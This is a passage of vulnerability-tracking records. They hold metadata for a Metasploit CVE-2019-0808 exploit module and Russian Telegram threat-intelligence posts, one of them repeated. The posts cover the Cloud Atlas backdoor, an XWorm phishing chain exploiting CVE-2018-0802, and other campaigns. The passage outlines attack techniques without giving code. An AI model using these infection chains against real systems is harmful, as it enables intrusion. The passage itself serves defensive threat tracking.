[\"repeatable-session\"], \"SideEffects\": [\"screen-effects\"], \"Stability\": [\"crash-os-restarts\"]}, \"path\": \"/modules/exploits/windows/local/ntusermndragover.rb\", \"platform\": \"Windows\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"windows/local/ntusermndragover\", \"references\": [\"CVE-2019-0808\", \"URL-https://github.com/exodusintel/CVE-2019-0808\", \"URL-https://github.com/ze0r/cve-2019-0808-poc\", \"URL-http://blogs.360.cn/post/RootCause_CVE-2019-0808_EN.html\", \"URL-https://blog.exodusintel.com/2019/05/17/windows-within-windows/\"], \"rport\": null, \"session_types\": [\"meterpreter\"], \"targets\": [\"Windows 7 x86\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:52:12.412008Z"}, {"uuid": "8abe3833-fdfb-4ec3-b13a-be820abe56fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "published-proof-of-concept", "source": "https://t.me/kasperskylab_ru/7648", "content": "\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c APT-\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Cloud Atlas. \u0412 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0431\u044b\u043b \u0437\u0430\u043c\u0435\u0447\u0435\u043d \u043d\u043e\u0432\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u2014 \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c CloudAtlasGo, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Golang. \u0420\u0430\u043d\u0435\u0435 \u044d\u0442\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u0430 \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u0430\u0445 \u043d\u0430 \u0431\u0430\u0437\u0435 PowerShell \u0438 VBS.\n\u00a0\n\u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0444\u0430\u043a\u0442\u044b \u043e \u043d\u043e\u0432\u043e\u043c \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u0435:\n\ud83d\udd35\u041d\u0430\u0447\u0430\u043b\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u044b\u043c \u2014 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u044e\u0442 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b CVE-2018-0802.\n\ud83d\udd35\u041f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0441\u0432\u044f\u0437\u0438 \u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u2014 \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u043c\u0438 Trello. \u0417\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u043d \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0435\u0442 \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f\u0445 \u043a\u0430\u0440\u0442\u043e\u0447\u0435\u043a \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432.\n\ud83d\udd35\u0417\u043b\u043e\u0432\u0440\u0435\u0434 \u0443\u043c\u0435\u0435\u0442 \u0432\u044b\u044f\u0432\u043b\u044f\u0442\u044c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b, \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u0430.\n\ud83d\udd35\u2060\u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 CloudAtlasGo \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0442\u044c \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u043a\u0441\u0438 \u0434\u043b\u044f \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u0430, \u0441\u0445\u0435\u043c\u044b \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0438 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u2014 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 Securelist.\n\nKaspersky \ud83d\udc99 \u0412\u041a | \ud83d\udcac Max | \ud83d\udcdd \u0414\u0437\u0435\u043d\n\ud83d\udcac \u041f\u043e\u0440\u0432\u0430\u043b\u0438 \u0434\u0432\u0430 \u0442\u0440\u043e\u044f\u043d\u0430 \u0432 Max", "creation_timestamp": "2026-09-09T03:00:07.482316Z"}, {"uuid": "8aba6dce-1836-47e3-99e2-fa684b24ec55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "published-proof-of-concept", "source": "https://t.me/kasperskylab_ru/7648", "content": "\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c APT-\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Cloud Atlas. \u0412 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0431\u044b\u043b \u0437\u0430\u043c\u0435\u0447\u0435\u043d \u043d\u043e\u0432\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u2014 \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c CloudAtlasGo, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Golang. \u0420\u0430\u043d\u0435\u0435 \u044d\u0442\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u0430 \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u0430\u0445 \u043d\u0430 \u0431\u0430\u0437\u0435 PowerShell \u0438 VBS.\n\u00a0\n\u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0444\u0430\u043a\u0442\u044b \u043e \u043d\u043e\u0432\u043e\u043c \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u0435:\n\ud83d\udd35\u041d\u0430\u0447\u0430\u043b\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u044b\u043c \u2014 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u044e\u0442 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b CVE-2018-0802.\n\ud83d\udd35\u041f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0441\u0432\u044f\u0437\u0438 \u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u2014 \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u043c\u0438 Trello. \u0417\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u043d \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0435\u0442 \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f\u0445 \u043a\u0430\u0440\u0442\u043e\u0447\u0435\u043a \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432.\n\ud83d\udd35\u0417\u043b\u043e\u0432\u0440\u0435\u0434 \u0443\u043c\u0435\u0435\u0442 \u0432\u044b\u044f\u0432\u043b\u044f\u0442\u044c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u044b, \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u0430.\n\ud83d\udd35\u2060\u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 CloudAtlasGo \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0442\u044c \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0440\u0430\u0436\u0451\u043d\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u043a\u0441\u0438 \u0434\u043b\u044f \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u0430, \u0441\u0445\u0435\u043c\u044b \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0438 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u2014 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0430 Securelist.\n\nKaspersky \ud83d\udc99 \u0412\u041a | \ud83d\udcac Max | \ud83d\udcdd \u0414\u0437\u0435\u043d\n\ud83d\udcac \u041f\u043e\u0440\u0432\u0430\u043b\u0438 \u0434\u0432\u0430 \u0442\u0440\u043e\u044f\u043d\u0430 \u0432 Max", "creation_timestamp": "2026-09-10T00:00:56.440227Z"}, {"uuid": "e7f7e254-971e-4322-9a26-666eac29286d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/purp_sec/1420", "content": "\u0412\u0442\u043e\u0440\u043d\u0438\u043a \u2014 \u043f\u043e\u0440\u0430 \u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441 \u043a\u043e\u043b\u043b\u0435\u0433\u0430\u043c\u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430\u043c\u0438 \u043f\u043e \u0431\u043e\u0440\u044c\u0431\u0435 \u0441 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c\u0438 \u0438 \u0438\u0445 \u00ab\u0442\u0432\u043e\u0440\u0447\u0435\u0441\u0442\u0432\u043e\u043c\u00bb.\n\n\u0421\u043e\u0431\u0440\u0430\u043b \u0432\u0430\u043c \u043f\u0430\u0440\u0443 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043c\u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c\u0438.\n\n\ud83d\udd35 Deep Dive into New XWorm Campaign Utilizing Multiple-Themed Phishing Emails \u2014 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e XWorm RAT. \u0416\u0435\u0440\u0442\u0432\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u0438\u0441\u044c\u043c\u043e \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c Excel-\u0444\u0430\u0439\u043b\u043e\u043c (.XLAM), \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f CVE-2018-0802 (RCE \u0432 Equation Editor). Shellcode \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 HTA \u0447\u0435\u0440\u0435\u0437 ShellExecuteExW, \u0434\u0430\u043b\u0435\u0435 PowerShell \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u00ab\u0444\u043e\u0442\u043e\u00bb (JPEG), \u0433\u0434\u0435 \u043c\u0435\u0436\u0434\u0443 \u043c\u0430\u0440\u043a\u0435\u0440\u0430\u043c\u0438 BaseStart/BaseEnd \u0441\u043f\u0440\u044f\u0442\u0430\u043d base64-\u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 .NET-\u043c\u043e\u0434\u0443\u043b\u044c. \u041f\u043e\u0441\u043b\u0435 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f process hollowing (\u0432 Msbuild.exe), \u043c\u0430\u043b\u0432\u0430\u0440\u044c \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 C2-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 (AES-\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435) \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439.\n\n\ud83d\udd35 Inside the Fix \u2014 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2026-21513 (security feature bypass \u0432 MSHTML/IEFRAME), \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043b\u043e\u0442\u043d\u043e \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442 \u0441 APT28. \u0412\u0435\u043a\u0442\u043e\u0440 \u2014 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 .LNK-\u0444\u0430\u0439\u043b \u0441\u043e \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c HTML \u043f\u043e\u0441\u043b\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b LNK. \u0427\u0435\u0440\u0435\u0437 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 iframe \u0438 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 DOM \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u043b\u0438 Mark of the Web \u0438 Internet Explorer Enhanced Security Configuration (IE ESC), \u0447\u0442\u043e \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b\u043e \u043a \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 URL \u0438 \u0432\u044b\u0437\u043e\u0432\u0443 ShellExecuteExW \u0431\u0435\u0437 \u0434\u043e\u043b\u0436\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430.\n\n\ud83d\udd35 Intel ME: Anatomy of a Ring -3 Backdoor \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0431\u0437\u043e\u0440 Intel Management Engine (ME), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0430\u0432\u0442\u043e\u0440 \u043e\u0442\u043a\u0440\u044b\u0442\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u00ab\u0431\u044d\u043a\u0434\u043e\u0440\u043e\u043c\u00bb. \u042d\u043a\u0441\u043f\u0435\u0440\u0442 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442 ME \u043a\u0430\u043a \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u0443\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0441 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u043c \u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0441\u0442\u0435\u043a\u043e\u043c, \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0449\u0443\u044e \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c. \u0412 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0440\u0438\u0441\u043a\u0438 \u0438\u0437-\u0437\u0430 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0438 \u0430\u0443\u0434\u0438\u0442\u0430 ME \u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0410\u0432\u0442\u043e\u0440 \u043f\u0440\u0438\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c AMT \u043f\u0440\u0438 \u043d\u0435\u043d\u0430\u0434\u043e\u0431\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udd35 GitLab Threat Intelligence Team reveals North Korean tradecraft \u2014 GitLab \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043e \u0441\u0435\u0432\u0435\u0440\u043e\u043a\u043e\u0440\u0435\u0439\u0441\u043a\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435. \u0412 2025 \u0433\u043e\u0434\u0443 \u043f\u043e\u0434 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0443 \u043f\u043e\u043f\u0430\u043b 131 \u0430\u043a\u043a\u0430\u0443\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0432\u044f\u0437\u0430\u043b\u0438 \u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 Lazarus \u0438 Contagious Interview. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u043e\u0434 \u0440\u0435\u043a\u0440\u0443\u0442\u0435\u0440\u043e\u0432, \u043f\u0440\u0438\u0433\u043b\u0430\u0448\u0430\u044e\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u043d\u0430 \u00ab\u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u043e\u0431\u0435\u0441\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u00bb \u0438 \u0443\u0431\u0435\u0436\u0434\u0430\u044e\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0441 GitLab. \u0412 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u044b\u043b\u0438 \u043c\u0430\u043b\u0432\u0430\u0440\u0438 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 BeaverTail \u0438 Ottercookie. 